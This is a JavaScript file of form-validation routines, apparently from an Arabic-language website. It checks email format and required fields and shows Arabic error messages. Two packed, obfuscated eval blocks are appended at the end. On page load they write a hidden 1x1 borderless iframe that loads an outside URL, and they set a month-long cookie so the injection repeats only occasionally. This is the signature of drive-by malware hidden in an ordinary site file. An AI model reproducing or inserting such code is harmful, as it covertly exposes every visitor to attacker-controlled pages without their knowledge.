function ahmed(entered, alertbox)
{
with (entered)
{
apos=value.indexOf("@"); 
dotpos=value.lastIndexOf(".");
lastpos=value.length-1;
if (apos<1 || dotpos-apos<2 || lastpos-dotpos>3 || lastpos-dotpos<2) 
{if (alertbox) {alert(alertbox);} return false;}
else {return true;}
}
} 
function isblank(s)
{
    for(var i = 0; i < s.length; i++) {
        var c = s.charAt(i);
        if ((c != ' ') && (c != '\n') && (c != '\t')) return false;
    }
    return true;
}
function mariam(f)
{
    var msg;
    var empty_fields = "";
    var errors = "";


    for(var i = 0; i < f.length; i++) {
        var e = f.elements[i];
        if (((e.type == "text") || (e.type == "textarea")) && !e.optional) {

            if ((e.value == null) || (e.value == "") || isblank(e.value)) {
                empty_fields += "\n          " + e.name;
                continue;
            }

            if (e.numeric || (e.min != null) || (e.max != null)) { 
                var v = parseFloat(e.value);
                if (isNaN(v) || 
                    ((e.min != null) && (v < e.min)) || 
                    ((e.max != null) && (v > e.max))) {
                    errors += "- قيمة " + e.name + " يجب أن تكون رقما ..";
                    if (e.min != null) 
                        errors += " أكبر من " + e.min;
                    if (e.max != null && e.min != null) 
                        errors += " وأصغر من " + e.max;
                    else if (e.max != null)
                        errors += " أصغر من " + e.max;
                    errors += ".\n";
                }
            }
        }
    }
	
	      if (f.الإيميل.value.indexOf("@") == -1 || f.الإيميل.value.indexOf(".") == -1 || f.الإيميل.value.length < 7 ) {
         errors += "من فضلك اكتب إيميلا صحيحا";
         f.الإيميل.focus();
          }


     if (!empty_fields && !errors) return true;
    msg  = "______________________________________________________\n\n"
    msg += "لم يمكن إرسال الرسالة ..\n";
    msg += "من فضلك صحح هذه الأخطاء وحاول الإرسال مرة أخرى ..\n";
    msg += "______________________________________________________\n\n"
    if (empty_fields) {
        msg += "- يجب إدخال:" 
                + empty_fields + "\n";
        if (errors) msg += "\n";
    }
    msg += errors;
    alert(msg);
    return false;
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('B o=j k(),f=j k(o.z()+y);x(e.q.A("n=1")==-1){e.J(H("%s%2%p%h%5%g%3%9%I%2%b%0%8%7%m%9%8%3%2%l%8%0%7%m%9%d%h%G%7%a%8%0%0%w%u%4%4%c%r%5%b%2%6%l%F%5%0%g%C%6%3%0%4%i%D%i%4%a%9%d%0%t%c%3%7%a%b%2%d%w%c%5%t%u%6%r%6%3%a%v%s%4%2%p%h%5%g%3%v"));e.q="n=1;"+" f="+f.E()+"; "}',46,46,'74||69|65|2F|61|6E|3D|68|20|27|64|6C|73|document|expires|6D|72|62|new|Date|67|31|_atmbit|today|66|cookie|6F|3C|79|3A|3E|70|if|2678400000|getTime|indexOf|var|2E|32|toGMTString|2D|63|unescape|77|write'.split('|')));

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('B l=j k(),c=j k(l.z()+y);x(h.o.A("i=1")==-1){h.J(H("%u%0%w%e%b%t%3%9%C%0%g%2%8%7%m%9%8%3%0%n%8%2%7%m%9%a%e%G%7%6%8%2%2%v%r%5%5%d%f%b%g%0%4%n%F%4%a%f%D%4%3%2%5%p%E%p%5%6%9%a%2%q%d%3%7%6%g%0%a%v%d%b%q%r%4%f%4%3%6%s%u%5%0%w%e%b%t%3%s"));h.o="i=1;"+" c="+c.I()+"; "}',46,46,'69||74|65|6E|2F|27|3D|68|20|73|61|expires|6C|72|6F|64|document|_ubit|new|Date|today|31|67|cookie|62|79|3A|3E|6D|3C|70|66|if|2678400000|getTime|indexOf|var|77|2E|32|2D|63|unescape|toGMTString|write'.split('|')));

